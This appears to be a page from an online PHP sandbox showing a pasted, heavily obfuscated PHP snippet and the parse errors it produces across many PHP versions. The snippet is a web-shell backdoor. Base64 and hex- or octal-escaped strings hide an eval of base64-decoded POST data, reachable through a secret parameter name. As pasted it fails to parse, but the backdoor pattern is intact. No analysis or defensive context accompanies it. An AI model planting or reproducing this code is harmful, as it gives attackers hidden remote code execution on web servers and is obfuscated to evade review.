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run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___= \"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\"; eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); $code=base64_decode($_); echo ($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); echo($___($__)); ?>
Output for 5.4.0 - 5.4.31
Parse error: syntax error, unexpected '"', expecting identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING) in /in/A3KHm on line 9
Process exited with code 255.
Output for 4.4.2 - 4.4.9, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.28
Parse error: syntax error, unexpected '"', expecting T_STRING or T_VARIABLE or T_NUM_STRING in /in/A3KHm on line 9
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1, 5.0.0 - 5.0.5
Parse error: parse error, unexpected '\"', expecting T_STRING or T_VARIABLE or T_NUM_STRING in /in/A3KHm on line 9
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /in/A3KHm on line 9
Process exited with code 255.

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